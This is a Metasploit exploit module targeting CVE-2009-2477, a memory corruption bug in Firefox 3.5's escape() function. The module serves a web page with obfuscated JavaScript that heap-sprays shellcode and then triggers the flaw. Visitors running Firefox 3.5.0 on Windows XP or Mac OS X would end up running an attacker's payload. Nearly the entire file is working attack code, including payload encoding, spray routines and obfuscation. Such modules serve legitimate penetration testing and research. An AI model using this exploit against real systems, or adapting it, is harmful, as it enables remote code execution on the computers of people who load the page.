##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name => HttpClients::FF,
  #  :ua_minver => "3.5",
  #  :ua_maxver => "3.5",
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :javascript => true,
  #  :rank => NormalRanking, # reliable memory corruption
  #  :vuln_test => nil,
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox 3.5 escape() Return Value Memory Corruption',
      'Description'    => %q{
          This module exploits a memory corruption vulnerability in the Mozilla
        Firefox browser. This flaw occurs when a bug in the javascript interpreter
        fails to preserve the return value of the escape() function and results in
        uninitialized memory being used instead. This module has only been tested
        on Windows, but should work on other platforms as well with the current
        targets.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Simon Berry-Byrne <x00050876[at]itnet.ie>',  # Author / Publisher / Original exploit
          'hdm',                                        # Metasploit conversion
        ],
      'References'     =>
        [
          ['CVE', '2009-2477'],
          ['OSVDB', '55846'],
          ['BID', '35660'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
        ],
      'Payload'        =>
        {
          'Space'    => 1000 + (rand(256).to_i * 4),
          'BadChars' => "\x00",
        },
      'Platform'       => %w{ win osx },
      'Targets'        =>
        [
          [ 'Firefox 3.5.0 on Windows XP SP0-SP3',
            {
              'Platform'   => 'win',
              'Arch'       => ARCH_X86,
              'Ret'        => 0x0c0c0c0c,
              'BlockLen'   => 0x60000,
              'Containers' => 800,
            }
          ],
          [ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
              'Ret'  => 0x41414141,
              'BlockLen' => 496,
              'Containers' => 800000
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 13 2009'
      ))
  end


  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name}")
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
    handler(cli)
  end

  def generate_html(payload)

    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
    enc_ret  = Rex::Text.to_unescape(
      Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
    )

    var_data_str1 = Rex::Text.rand_text_alpha(3)
    var_data_str2 = Rex::Text.rand_text_alpha(4)
    js = <<-EOF
var xunescape = unescape;
var shellcode = xunescape("#{enc_code}");

oneblock = xunescape("#{enc_ret}");

var fullblock = oneblock;
while (fullblock.length < #{target['BlockLen']})
{
  fullblock += fullblock;
}

var sprayContainer = new Array();
var sprayready = false;
var sprayContainerIndex = 0;

function fill_function()
{
  if(! sprayready) {
    for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
    {
      sprayContainer[sprayContainerIndex] = fullblock + shellcode;
    }
  } else {
    DataTranslator();
    GenerateHTML();
  }
  if(sprayContainer.length >= #{target['Containers']}) {
    sprayready = true;
  }
}

var searchArray = new Array();

function escapeData(data)
{
  var xi;
  var xc;
  var escData='';
  for(xi=0; xi<data.length; xi++)
  {
    xc=data.charAt(xi);
    if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
      escData+=xc;
  }
  return escData;
}

function DataTranslator()
{
  searchArray = new Array();
  searchArray[0] = new Array();
  searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
  var newElement = document.getElementById("content");
  if (document.getElementsByTagName) {
    var xi=0;
    pTags = newElement.getElementsByTagName("p");
    if (pTags.length > 0)
      while (xi < pTags.length)
        {
          oTags = pTags[xi].getElementsByTagName("font");
          searchArray[xi+1] = new Array();
          if (oTags[0])   {
            searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
          }
          xi++;
        }
  }
}

function GenerateHTML()
{
  var xhtml = "";
  for (xi=1;xi<searchArray.length;xi++)
  {
    xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
  }
}

setInterval("fill_function()", .5);
EOF

    # Obfuscate it up a bit
    js = obfuscate_js(js, 'Symbols' => {
      'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape
        shellcode oneblock fullblock sprayContainer xi searchArray xc
        escData xhtml pTags oTags newElement sprayready sprayContainerIndex
        fill_function }
    }).to_s

    str1 = Rex::Text.rand_text_alpha(20)
    str2 = Rex::Text.rand_text_alpha(24)
    str3 = Rex::Text.rand_text_alpha(10) + "  "

    return %Q^
<html>
<head>
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>#{str1}</FONT></p>
<p>
<FONT>#{str2}</FONT>
</p>
<p>
<FONT>#{str3}</FONT>
</p>
</div>
<script language="JavaScript">
#{js}
</script>
</body>
</html>
^

  end
end
